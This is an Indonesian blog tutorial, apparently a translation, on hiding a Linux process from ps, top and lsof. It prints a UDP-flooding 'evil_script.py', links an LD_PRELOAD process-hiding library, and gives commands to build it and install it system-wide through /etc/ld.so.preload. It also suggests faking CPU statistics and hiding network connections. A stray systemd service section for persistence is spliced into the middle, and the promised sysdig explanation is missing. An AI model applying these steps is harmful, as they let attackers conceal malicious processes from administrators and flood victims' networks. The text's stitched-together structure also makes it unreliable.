Cara Menyembunyikan Proses Linux Untuk Kesenangan dan Keuntungan

by | Mar 25, 2024 | Blog, Linux, Tips and Trick, Tutorial | 0 comments

Suatu hari saya melihat keluaran dari perintah top di mesin saya, dan saya mulai bertanya-tanya seberapa sulitnya untuk menyembunyikan proses tertentu atau koneksi jaringan dari alat pemantauan tradisional seperti ps, top, lsof, dan sejenisnya. Saya memutuskan untuk menghabiskan beberapa jam untuk mencari solusinya. Dalam postingan ini, saya akan membagikan beberapa jawaban yang saya temukan beserta beberapa contoh kode konsep untuk mengimplementasikannya. Saya juga akan menunjukkan bahwa sysdig tidak rentan terhadap percobaan saya, serta menjelaskan alasannya.

Tujuan yang ingin saya capai adalah dengan sengaja menyembunyikan sebuah skrip Python sederhana yang berbahaya (yang saya sebut evil_script.py), yang dapat menyebabkan kerusakan pada sistem saya, seperti membebani CPU dan jaringan dengan mengirimkan paket UDP ke korban yang tidak beruntung.

 

 

Perilaku Dasar

cara-menjalankan-bash

#!/usr/bin/python
import socket
import sys

def send_traffic(ip, port):
print “Sending burst to ” + ip + “:” + str(port)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((ip, port))
while True:
sock.send(“I AM A BAD BOY”)

if len(sys.argv) != 3:
print “Usage: ” + sys.argv[0] + ” IP PORT”
sys.exit()

send_traffic(sys.argv[1], int(sys.argv[2])) Let’s go!

Saya akan mengawalinya dengan menjalankan perintah dibawah ini :

bengkelti@ubuntu:~$ ./evil_script.py 1.2.3.4 666
Sending burst to 1.2.3.4:666

Jika Anda menjalankannya, Anda akan melihatnya dengan cepat menggunakan banyak sumber daya sistem Anda. Ini adalah kasus penggunaan yang sempurna untuk memulai analisis. Mari kita pastikan bahwa proses tersebut ada dan mengkonsumsi CPU saya dengan menggunakan perintah ps:

 

bengkelti@ubuntu:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

bengkelti 8585 105 0.0 34256 6152 pts/6 R+ 12:03 0:07 /usr/bin/python ./evil_script.py 1.2.3.4 666

Ya, saya juga dapat melihat koneksi jaringan yang dibuka oleh proses tersebut dengan menggunakan perintah lsof:

 

bengkelti@ubuntu:~$ sudo lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

evil_scri 8290 bengkelti 3u IPv4 23936 0t0 UDP 172.16.189.136:33220->1.2.3.4:666

 

Jadi, jika saya ingin menyembunyikan informasi ini, langkah pertama yang harus saya lakukan adalah memahami bagaimana perintah seperti ps dapat mengekstrak informasi tentang proses saya.

Bagaimana ps bekerja

Alat seperti ps menggunakan sistem file /proc, yang merupakan konstruksi Linux yang dijelaskan secara lebih rinci sebelumnya dalam posting ini. Mari kita telusuri detailnya sekarang menggunakan sysdig.

 

bengkelti@ubuntu:~$ sudo sysdig proc.name = ps

447463 23:54:12.077878685 2 ps (3214) > openat dirfd=AT_FDCWD name=/proc flags=1089(O_DIRECTORY|O_NONBLOCK|O_RDONLY) mode=0
447465 23:54:12.077880122 2 ps (3214) < openat fd=5(/proc)
447473 23:54:12.077887674 2 ps (3214) > getdents
447486 23:54:12.077988237 2 ps (3214) < getdents … 452546 23:54:12.082257864 2 ps (3214) > open
452547 23:54:12.082259424 2 ps (3214) < open fd=6(/proc/3174/stat) name=/proc/3174/stat flags=1(O_RDONLY) mode=0
452548 23:54:12.082259730 2 ps (3214) > read fd=6(/proc/3174/stat) size=1024
452549 23:54:12.082262601 2 ps (3214) < read res=322 data=3174 (evil_script.py) R 3089 3174 3089 34816 3174 4202496 1620 0 15 0 8 3474 0 0 452550 23:54:12.082262874 2 ps (3214) > close fd=6(/proc/3174/stat)
452551 23:54:12.082262982 2 ps (3214) < close res=0 452552 23:54:12.082266445 2 ps (3214) > open
452553 23:54:12.082267682 2 ps (3214) < open fd=6(/proc/3174/status) name=/proc/3174/status flags=1(O_RDONLY) mode=0
452554 23:54:12.082268000 2 ps (3214) > read fd=6(/proc/3174/status) size=1024
452555 23:54:12.082274407 2 ps (3214) < read res=854 data=Name:.evil_script.py.State:.R (running).Tgid:.3174.Ngid:.0.Pid:.3174.PPid:.3089. 452556 23:54:12.082274624 2 ps (3214) > close fd=6(/proc/3174/status)
452557 23:54:12.082274724 2 ps (3214) < close res=0 452558 23:54:12.082276935 2 ps (3214) > open
452559 23:54:12.082278171 2 ps (3214) < open fd=6(/proc/3174/cmdline) name=/proc/3174/cmdline flags=1(O_RDONLY) mode=0
452560 23:54:12.082278466 2 ps (3214) > read fd=6(/proc/3174/cmdline) size=131072
452561 23:54:12.082280215 2 ps (3214) < read res=46 data=/usr/bin/python../evil_script.py.1.2.3.4.6666. 452562 23:54:12.082280463 2 ps (3214) > read fd=6(/proc/3174/cmdline) size=131026
452563 23:54:12.082280814 2 ps (3214) < read res=0 data= 452564 23:54:12.082281083 2 ps (3214) > close fd=6(/proc/3174/cmdline)
452565 23:54:12.082281216 2 ps (3214) < close res=0

 

Ini menjelaskan bagaimana ps bekerja: pertama, ia membuka direktori /proc menggunakan panggilan sistem openat(). Kemudian, ia memanggil panggilan sistem getdents() pada direktori yang telah dibuka, yang menghasilkan daftar file dan direktori yang ada di dalamnya (dalam hal ini, direktori /proc). Jika Anda pernah menjalankan ls /proc, Anda akan melihat bahwa ada subdirektori untuk setiap proses yang sedang berjalan di sistem, dan setiap direktori dinamai berdasarkan PID prosesnya sendiri. Jadi, ps mengambil daftar ini dari getdents(), lalu melakukan iterasi pada setiap subdirektori untuk mengumpulkan informasi yang tetap ada di dalamnya. File-file ini, seperti yang ditunjukkan dalam daftar kegiatan, memiliki nama seperti /proc/PID/status, /proc/PID/stat, dan /proc/PID/cmdline, dan berisi semua informasi yang ditampilkan ps dalam outputnya.

Perlu dicatat (karena akan berguna di bagian berikutnya) bahwa proses itu sendiri tidak secara langsung memanggil openat() dan getdents(), karena panggilan sistem tersebut diabstraksi oleh pustaka standar C (libc). Jika Anda telah membaca dokumentasi libc, Anda akan mengetahui bahwa libc menyediakan dua fungsi berbeda, yaitu opendir() dan readdir(), yang keduanya menangani pemanggilan panggilan sistem itu sendiri, menyediakan API yang lebih sederhana untuk pengembang. Jadi, yang terakhir adalah fungsi yang langsung dipanggil oleh ps.

Menyembunyikan Prosesnya

 

Setelah memahami secara singkat cara kerja alat pemantauan seperti ps, menjadi jelas bahwa untuk menyembunyikan proses kita, kita perlu mencegah alat-alat ini mengakses file yang terletak di bawah direktori /proc/PID/. Ada beberapa opsi yang dapat dipertimbangkan:

  • Menggunakan kerangka kerja yang tepat: Menggunakan kerangka kerja keamanan seperti SELinux dan Grsecurity adalah pilihan yang sangat baik, karena mereka dapat secara efektif mengelola hak akses dan membatasi akses ke file-file sistem yang sensitif.
  • Mengubah biner top/ps/…: Mungkin memungkinkan untuk mengambil kode sumber dari alat-alat ini, menerapkan logika “menyembunyikan proses Linux” sendiri, mengkompilasi ulang, dan mengganti biner. Namun, ini tidak efisien dan memakan waktu.
  • Memodifikasi libc: Memodifikasi fungsi readdir() di dalam libc untuk mengecualikan akses ke beberapa file /proc adalah opsi lain. Namun, melakukan kompilasi ulang libc bisa menjadi beban, dan kode libc cenderung rumit.
  • Memodifikasi panggilan sistem di kernel: Ini adalah pendekatan paling canggih, yang melibatkan mencegat dan memodifikasi panggilan sistem langsung di kernel menggunakan modul khusus. Meskipun menarik, pendekatan ini memerlukan pemahaman mendalam tentang cara kerja intersepsi panggilan sistem di kernel.

 

Setiap opsi memiliki kelebihan dan kelemahannya sendiri, dan pemilihan tergantung pada kebutuhan spesifik dan tingkat keamanan yang diinginkan.

Saya memilih untuk mencari solusi tengah yang menarik dan cukup sederhana untuk diterapkan dalam waktu sekitar satu jam: ini adalah varian dari “memodifikasi libc” berdasarkan fitur rumit yang ditawarkan oleh linker dinamis Linux, yang disebut preloading.

Dengan preloading, Linux memberikan opsi untuk memuat pustaka khusus sebelum pustaka sistem normal lainnya dimuat. Ini berarti bahwa jika pustaka khusus tersebut mengekspor fungsi dengan tanda tangan yang sama dengan yang ditemukan di pustaka sistem, kita dapat menimpanya dengan kode khusus di pustaka kita, dan semua proses akan secara otomatis menggunakan kode khusus tersebut!

Ini tampaknya menjadi solusi yang cocok untuk masalah saya, karena saya bisa menulis perpustakaan khusus yang sangat sederhana yang menggantikan libc’s readdir(), dan menulis logika untuk menyembunyikan prosesnya! Logika ini juga cukup sederhana: setiap kali saya melihat bahwa direktori /proc/PID (di mana PID adalah PID dari proses yang memiliki nama “evil_script”) sedang dibaca, saya hanya memblokir akses tersebut dengan cara yang bersih, sehingga menyembunyikan seluruh direktori tersebut. Saya melanjutkan dan menerapkan gagasan ini dalam kode. Anda dapat mengakses sumbernya dibawah ini.

https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c

 

Setelah menulis kode (sebenarnya kurang dari 100 baris termasuk komentar), mari kita kompilasi sebagai perpustakaan bersama, dan instalasikan ke jalur sistem.

bengkelti@ubuntu:~/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bengkelti@ubuntu:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/

Jika anda menggunakan systemD, anda harus membuat layanan untuk skrip misalnya sync.sh anda, file ini akan menjadi:

/lib/systemd/system/sync.service

Anda dapat mengedit file ini (dengan hak ‘root’ atau ‘sudo’) sehingga berisi:

 

[Unit]
Description=My Shell Script for Sync

[Service]
ExecStart=/usr/bin/sync.sh

[Install]
WantedBy=multi-user.target

 

Kemudian, anda memuat ulang daemon systemD anda (sehingga ia mengetahui bahwa layanan telah ditambahkan):

sudo systemctl daemon-reload

Kemudian anda dapat mengaktifkan layanan anda (sehingga akan diluncurkan pada setiap permulaan sistem:

sudo systemctl enable sync.service

Kemudian anda dapat memulainya secara manual sehingga akan langsung dimulai, tanpa menunggu sistem restart berikutnya :

sudo systemctl start sync.service

Dan tentu saja, anda dapat mengubah nama layanan anda sesuai keinginan anda.

Sekarang, saya hanya perlu memberi tahu linker dinamis untuk benar-benar menggunakannya. Saya ingin menginstalnya di seluruh sistem, sehingga setiap proses baru di sistem dapat menggunakan perpustakaan khusus saya secara otomatis. Ini dilakukan dengan menulis jalur perpustakaan saya ke dalam file konfigurasi.

 

root@ubuntu:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Selesai! Mulai sekarang, setiap kali saya menjalankan biner baru, itu akan mengeksekusi kode khusus saya saat melalui direktori menggunakan readdir(). Jadi, mari kita kembali dan coba eksekusi perintah ps dan lsof saat skrip jahat sedang berjalan:

 

bengkelti@ubuntu:~$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

 

bengkelti@ubuntu:~$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

 

Berhasil! Sekarang proses saya berjalan dalam mode tersembunyi, bahkan ketika alat-alat tersebut dijalankan sebagai root. Saya juga mengujinya dengan pstree, top, dan htop, dan tidak satu pun dari mereka dapat menampilkan proses saya lagi.

Ini hanya contoh sederhana, tetapi kami juga dapat memanipulasi informasi lebih lanjut, misalnya:

  • Modifikasi penghitung penggunaan CPU global: Data statistik penggunaan CPU global tersimpan dalam file /proc/stat, sehingga saya bisa mencegat semua operasi pembacaan dari file tersebut dan mengirimkan data yang telah dimanipulasi, menampilkan penggunaan CPU global sebagai 0%.

  • Modifikasi daftar koneksi: Sebagai contoh, netstat menggunakan file /proc/net/tcp untuk mendapatkan daftar koneksi TCP. Saya bisa mencegat pembacaan file ini dan menyembunyikan koneksi tertentu dari hasil yang dikembalikan.

 

Ini merupakan latihan yang bagus bagi pembaca 🙂

Harap dicatat bahwa pendekatan ini tidak akan berhasil jika biner tersebut di-link secara statis ke libc. Saya telah melihat beberapa distribusi khusus yang sangat fokus pada keamanan, di mana semua dependensi biner di-link secara statis. Ini memiliki kelemahan besar karena biner menjadi cukup besar, dan mengirimkan pembaruan untuk perpustakaan akan memaksa pengiriman biner baru dari setiap program yang bergantung padanya, sehingga biasanya tidak dilakukan untuk distribusi utama.

0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *